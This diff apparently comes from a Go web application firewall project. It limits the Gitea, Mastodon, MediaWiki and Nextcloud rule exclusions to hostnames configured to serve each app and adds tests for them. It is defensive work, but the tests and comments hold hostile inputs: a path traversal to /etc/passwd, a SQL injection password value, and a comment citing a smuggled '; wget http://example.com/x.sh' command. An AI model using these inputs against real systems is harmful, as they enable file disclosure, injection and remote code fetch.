@@ -30,12 +37,12 @@ var giteaSearches = []string{
|
|||||||
"/-/admin/users",
|
"/-/admin/users",
|
||||||
"/-/admin/orgs",
|
"/-/admin/orgs",
|
||||||
"/-/admin/repos",
|
"/-/admin/repos",
|
||||||
"/-/admin/repos/unadopted",
|
giteaAdminUnadoptedRepos,
|
||||||
"/-/admin/emails",
|
"/-/admin/emails",
|
||||||
"/-/admin/emails/activate",
|
"/-/admin/emails/activate",
|
||||||
"/admin/actions/runners",
|
"/admin/actions/runners",
|
||||||
"/admin/users",
|
"/admin/users",
|
||||||
"/admin/repos/unadopted",
|
forgejoAdminUnadoptedRepos,
|
||||||
"/admin/emails/activate",
|
"/admin/emails/activate",
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -60,7 +67,7 @@ func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
|
|||||||
for _, value := range hardValues {
|
for _, value := range hardValues {
|
||||||
adopt := "id=alice%2Flegacy-site&action=adopt&q=" + value + "&page=1"
|
adopt := "id=alice%2Flegacy-site&action=adopt&q=" + value + "&page=1"
|
||||||
|
|
||||||
for _, path := range []string{"/-/admin/repos/unadopted", "/admin/repos/unadopted"} {
|
for _, path := range []string{giteaAdminUnadoptedRepos, forgejoAdminUnadoptedRepos} {
|
||||||
r := request{http.MethodPost, path, []string{formData}}
|
r := request{http.MethodPost, path, []string{formData}}
|
||||||
wantBody(t, crs, r, adopt, coreruleset.Result{}, adopt)
|
wantBody(t, crs, r, adopt, coreruleset.Result{}, adopt)
|
||||||
}
|
}
|
||||||
@@ -75,6 +82,67 @@ func TestGiteaAdminFormsLetHardValuesThroughInTheBody(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
// The admin forms send the repository's owner and name in id, and the
|
||||||
|
// form in a user's settings only its name. robin/assets holds bin/as, a
|
||||||
|
// shell path.
|
||||||
|
ownerAndName := []string{
|
||||||
|
"alice%2Fpython3-app",
|
||||||
|
"alice%2Fpowershell-scripts",
|
||||||
|
"alice%2F.profile",
|
||||||
|
"robin%2Fassets",
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, form := range []struct {
|
||||||
|
path string
|
||||||
|
ids []string
|
||||||
|
}{
|
||||||
|
{giteaAdminUnadoptedRepos, ownerAndName},
|
||||||
|
{forgejoAdminUnadoptedRepos, ownerAndName},
|
||||||
|
{
|
||||||
|
"/user/settings/repos/unadopted", // gitea's and Forgejo's
|
||||||
|
[]string{"python3-app", "powershell-scripts", ".profile"},
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, form.path, []string{formData}}
|
||||||
|
|
||||||
|
for _, action := range []string{"adopt", "delete"} {
|
||||||
|
for _, id := range form.ids {
|
||||||
|
body := "id=" + id + "&action=" + action
|
||||||
|
wantBody(t, crs, r, body, coreruleset.Result{}, body)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Another field keeps those rules.
|
||||||
|
body := "id=" + form.ids[0] + "&action=adopt&page=python3"
|
||||||
|
wantBody(t, crs, r, body, matched(932260), body)
|
||||||
|
|
||||||
|
// Attacks in id are still refused.
|
||||||
|
for _, attack := range []string{
|
||||||
|
sqlInjection,
|
||||||
|
scriptInjection,
|
||||||
|
commandInjection,
|
||||||
|
"..%2F..%2Fetc%2Fpasswd",
|
||||||
|
} {
|
||||||
|
body := "id=" + attack + "&action=adopt"
|
||||||
|
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||||
|
t.Errorf("POST %s %s let through: %+v", form.path, body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// On another path, id keeps those rules.
|
||||||
|
r := request{http.MethodPost, "/-/admin/repos", []string{formData}}
|
||||||
|
body := "id=alice%2Fpython3-app&action=adopt&q=&page=1"
|
||||||
|
wantBody(t, crs, r, body, matched(932260), body)
|
||||||
|
}
|
||||||
|
|
||||||
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# The twelfth change: on Mastodon's paths, some fields skip the rules that
|
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
|
||||||
# refused ordinary Mastodon requests there. They are the fields where Mastodon
|
# refused ordinary Mastodon requests there. They are the fields where Mastodon
|
||||||
# sends a search, a name, a title, a file name, an address or free text. Each
|
# sends a search, a name, a title, a file name, an address or free text. Each
|
||||||
# exclusion runs with the request, before the rules it switches off, so this
|
# exclusion runs with the request, before the rules it switches off, so this
|
||||||
@@ -17,6 +17,13 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_mastodon. It sets
|
||||||
|
# it while SWW_APPS is unset, or lists mastodon for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_mastodon itself.
|
||||||
|
SecRule &TX:app_mastodon "@eq 0" \
|
||||||
|
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
|
||||||
|
|
||||||
# The API's searches and names, in the query:
|
# The API's searches and names, in the query:
|
||||||
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
|
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
|
||||||
# acct: /api/v1/accounts/lookup?acct=python3
|
# acct: /api/v1/accounts/lookup?acct=python3
|
||||||
@@ -297,3 +304,5 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
|
|||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
|
||||||
|
|
||||||
|
SecMarker END_MASTODON
|
||||||
@@ -55,6 +55,20 @@ const (
|
|||||||
mastodonStatus = "status="
|
mastodonStatus = "status="
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {"mastodon"},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search, which only Mastodon's fixes let through.
|
||||||
|
search := get("/api/v2/search?q=python3")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||||
|
}
|
||||||
|
|
||||||
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
||||||
// and 932260 in the query, on a path where it skips them, ending in "=".
|
// and 932260 in the query, on a path where it skips them, ending in "=".
|
||||||
//
|
//
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
|
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
|
||||||
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
||||||
# sends a search, a title, a name, a file name, an address, a summary or a
|
# sends a search, a title, a name, a file name, an address, a summary or a
|
||||||
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
||||||
@@ -21,6 +21,13 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_mediawiki. It sets
|
||||||
|
# it while SWW_APPS is unset, or lists mediawiki for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_mediawiki itself.
|
||||||
|
SecRule &TX:app_mediawiki "@eq 0" \
|
||||||
|
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
|
||||||
|
|
||||||
# The pages and their titles, the searches, and the special pages' fields
|
# The pages and their titles, the searches, and the special pages' fields
|
||||||
# for a page, a user, a file or an address:
|
# for a page, a user, a file or an address:
|
||||||
# title: /index.php?title=Python3_notes&action=history
|
# title: /index.php?title=Python3_notes&action=history
|
||||||
@@ -208,10 +215,12 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
|||||||
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
|
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
|
||||||
# of /index.php. A title on any other path does not count, so another app's
|
# of /index.php. A title on any other path does not count, so another app's
|
||||||
# paths under /index.php/ keep every rule. These rules are in phase 2, because
|
# paths under /index.php/ keep every rule. These rules are in phase 2, because
|
||||||
# the forms send authAction in the body.
|
# the forms send authAction in the body. They check tx.app_mediawiki, since the
|
||||||
|
# skip above does not reach phase 2.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
||||||
"id:900919,phase:2,pass,nolog,chain"
|
"id:900919,phase:2,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
||||||
|
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
||||||
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
|
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
|
||||||
SecRule ARGS:authAction "@streq change" \
|
SecRule ARGS:authAction "@streq change" \
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
|
||||||
@@ -253,6 +262,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/
|
|||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
||||||
"id:900920,phase:2,pass,nolog,chain"
|
"id:900920,phase:2,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
||||||
|
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
||||||
SecRule &ARGS_GET:retype "@eq 0" "chain"
|
SecRule &ARGS_GET:retype "@eq 0" "chain"
|
||||||
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
|
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
|
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
|
||||||
@@ -381,10 +391,12 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
||||||
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
||||||
# once, since it would otherwise skip these rules for a second wpTitles
|
# once, since it would otherwise skip these rules for a second wpTitles
|
||||||
# holding a command.
|
# holding a command. It checks tx.app_mediawiki, since the skip above does not
|
||||||
|
# reach phase 2.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||||
"id:900916,phase:2,pass,nolog,chain"
|
"id:900916,phase:2,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||||
|
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
||||||
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
||||||
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
||||||
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
||||||
@@ -393,3 +405,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
||||||
|
|
||||||
|
SecMarker END_MEDIAWIKI
|
||||||
@@ -5,11 +5,16 @@ import (
|
|||||||
"slices"
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const mediawikiThreshold = 5
|
const mediawikiThreshold = 5
|
||||||
|
|
||||||
|
// mediawiki is MediaWiki's name in SWW_APPS.
|
||||||
|
const mediawiki = "mediawiki"
|
||||||
|
|
||||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||||
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
||||||
|
|
||||||
@@ -49,6 +54,117 @@ const (
|
|||||||
mediawikiUploadPage = "/index.php/Special:Upload"
|
mediawikiUploadPage = "/index.php/Special:Upload"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {mediawiki},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search, which only MediaWiki's fixes let through.
|
||||||
|
search := get("/index.php?title=Special:Search&search=python3")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := shared(t, coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
|
Apps: map[string][]string{
|
||||||
|
giteaHost: {gitea},
|
||||||
|
otherHost: {mediawiki},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A watchlist that only the phase 2 rule 900916 lets through.
|
||||||
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
mediawikiWatchlist.target,
|
||||||
|
[]string{formData},
|
||||||
|
}
|
||||||
|
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
|
||||||
|
if got.Score >= mediawikiThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %s on %s refused: %+v",
|
||||||
|
r.target,
|
||||||
|
body,
|
||||||
|
otherHost,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
|
||||||
|
if got.Score < mediawikiThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %s on %s let through: %+v",
|
||||||
|
r.target,
|
||||||
|
body,
|
||||||
|
giteaHost,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := shared(t, coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
|
Apps: map[string][]string{
|
||||||
|
giteaHost: {gitea},
|
||||||
|
otherHost: {mediawiki},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
// Passwords that only the phase 2 rules 900919 and 900920 let through,
|
||||||
|
// each sent with the authAction of its form.
|
||||||
|
for _, sent := range []struct{ target, body string }{
|
||||||
|
{
|
||||||
|
mediawikiAccountChange,
|
||||||
|
formBody("authAction", "change") + "&" + formBody(passwordKey, "' OR '1'='1"),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
mediawikiSignUp,
|
||||||
|
formBody("authAction", "create") + "&" + formBody(retypeKey, "' OR '1'='1"),
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, withHost(r, otherHost), sent.body)
|
||||||
|
if got.Score >= mediawikiThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %s on %s refused: %+v",
|
||||||
|
r.target,
|
||||||
|
sent.body,
|
||||||
|
otherHost,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
got, _ = inspectBody(t, crs, withHost(r, giteaHost), sent.body)
|
||||||
|
if got.Score < mediawikiThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %s on %s let through: %+v",
|
||||||
|
r.target,
|
||||||
|
sent.body,
|
||||||
|
giteaHost,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||||
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
|
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
|
||||||
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
||||||
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
||||||
# a document's text. Each exclusion runs with the request, before the rules it
|
# a document's text. Each exclusion runs with the request, before the rules it
|
||||||
@@ -29,6 +29,13 @@
|
|||||||
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
||||||
# injection, path traversal and script injection are still refused there.
|
# injection, path traversal and script injection are still refused there.
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_nextcloud. It sets
|
||||||
|
# it while SWW_APPS is unset, or lists nextcloud for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_nextcloud itself.
|
||||||
|
SecRule &TX:app_nextcloud "@eq 0" \
|
||||||
|
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
|
||||||
|
|
||||||
# The sync client and the Files app use these WebDAV methods besides those
|
# The sync client and the Files app use these WebDAV methods besides those
|
||||||
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
||||||
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
||||||
@@ -155,8 +162,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/se
|
|||||||
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
|
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
|
||||||
# because a phase 1 rule runs before the body is read. It checks that the body
|
# because a phase 1 rule runs before the body is read. It checks that the body
|
||||||
# sends key once, so a second key cannot skip these rules for another field.
|
# sends key once, so a second key cannot skip these rules for another field.
|
||||||
|
# It checks tx.app_nextcloud, since the skip above does not reach phase 2.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
|
||||||
"id:900127,phase:2,pass,nolog,chain"
|
"id:900127,phase:2,pass,nolog,chain"
|
||||||
|
SecRule &TX:app_nextcloud "@eq 1" "chain"
|
||||||
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
|
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
|
||||||
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
|
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
|
||||||
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
|
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
|
||||||
@@ -441,3 +450,5 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
|
|||||||
SecRule REQUEST_METHOD "@streq MKCOL" \
|
SecRule REQUEST_METHOD "@streq MKCOL" \
|
||||||
"ctl:ruleRemoveTargetById=932125;XML:/*,\
|
"ctl:ruleRemoveTargetById=932125;XML:/*,\
|
||||||
ctl:ruleRemoveTargetById=932230;XML:/*"
|
ctl:ruleRemoveTargetById=932230;XML:/*"
|
||||||
|
|
||||||
|
SecMarker END_NEXTCLOUD
|
||||||
@@ -51,6 +51,95 @@ const (
|
|||||||
// nextcloudOther is a JSON field no exclusion names.
|
// nextcloudOther is a JSON field no exclusion names.
|
||||||
const nextcloudOther = `{"other":"python3"}`
|
const nextcloudOther = `{"other":"python3"}`
|
||||||
|
|
||||||
|
// nextcloud is Nextcloud's name in SWW_APPS.
|
||||||
|
const nextcloud = "nextcloud"
|
||||||
|
|
||||||
|
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {nextcloud},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search, which only Nextcloud's fixes let through.
|
||||||
|
search := get(nextcloudUsers + "?search=python3")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {nextcloud},
|
||||||
|
})
|
||||||
|
|
||||||
|
// Listing a folder, as the sync client does.
|
||||||
|
list := request{nextcloudPropFind, nextcloudFiles, nil}
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
|
||||||
|
|
||||||
|
// Making a calendar, as a CalDAV client does.
|
||||||
|
calendar := request{
|
||||||
|
nextcloudMkcalendar,
|
||||||
|
nextcloudCalendars + "work/",
|
||||||
|
nil,
|
||||||
|
}
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(calendar, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(calendar, giteaHost), matched(911100))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := shared(t, coreruleset.Params{
|
||||||
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
|
Apps: map[string][]string{
|
||||||
|
giteaHost: {gitea},
|
||||||
|
otherHost: {nextcloud},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A password that only the phase 2 rule 900127 lets through.
|
||||||
|
r := request{
|
||||||
|
http.MethodPut,
|
||||||
|
nextcloudUsers + "/alice",
|
||||||
|
[]string{formData},
|
||||||
|
}
|
||||||
|
body := "key=password&value=" + url.QueryEscape("' OR '1'='1")
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
|
||||||
|
if got.Score >= nextcloudThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"PUT %s %s on %s refused: %+v",
|
||||||
|
r.target,
|
||||||
|
body,
|
||||||
|
otherHost,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
|
||||||
|
if got.Score < nextcloudThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"PUT %s %s on %s let through: %+v",
|
||||||
|
r.target,
|
||||||
|
body,
|
||||||
|
giteaHost,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
||||||
// and 932260, each on a path where it skips them, ending in "=".
|
// and 932260, each on a path where it skips them, ending in "=".
|
||||||
//
|
//
|
||||||
|
|||||||
@@ -13,8 +13,13 @@ import (
|
|||||||
"slices"
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// appsUnset labels the checks made while SWW_APPS is unset.
|
||||||
|
const appsUnset = "SWW_APPS unset"
|
||||||
|
|
||||||
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
||||||
// Each has the Referer of a page that names the same, as a page opened
|
// Each has the Referer of a page that names the same, as a page opened
|
||||||
// from it has.
|
// from it has.
|
||||||
@@ -47,16 +52,31 @@ func giteaRequests(t *testing.T) []request {
|
|||||||
return requests
|
return requests
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TestOrdinaryGiteaRequestsPass checks gitea's recorded requests with
|
||||||
|
// SWW_APPS unset, and on giteaHost while SWW_APPS lists only gitea for it.
|
||||||
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
requests := giteaRequests(t)
|
||||||
|
giteaOnly := map[string][]string{giteaHost: {gitea}}
|
||||||
|
|
||||||
for _, r := range giteaRequests(t) {
|
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
|
||||||
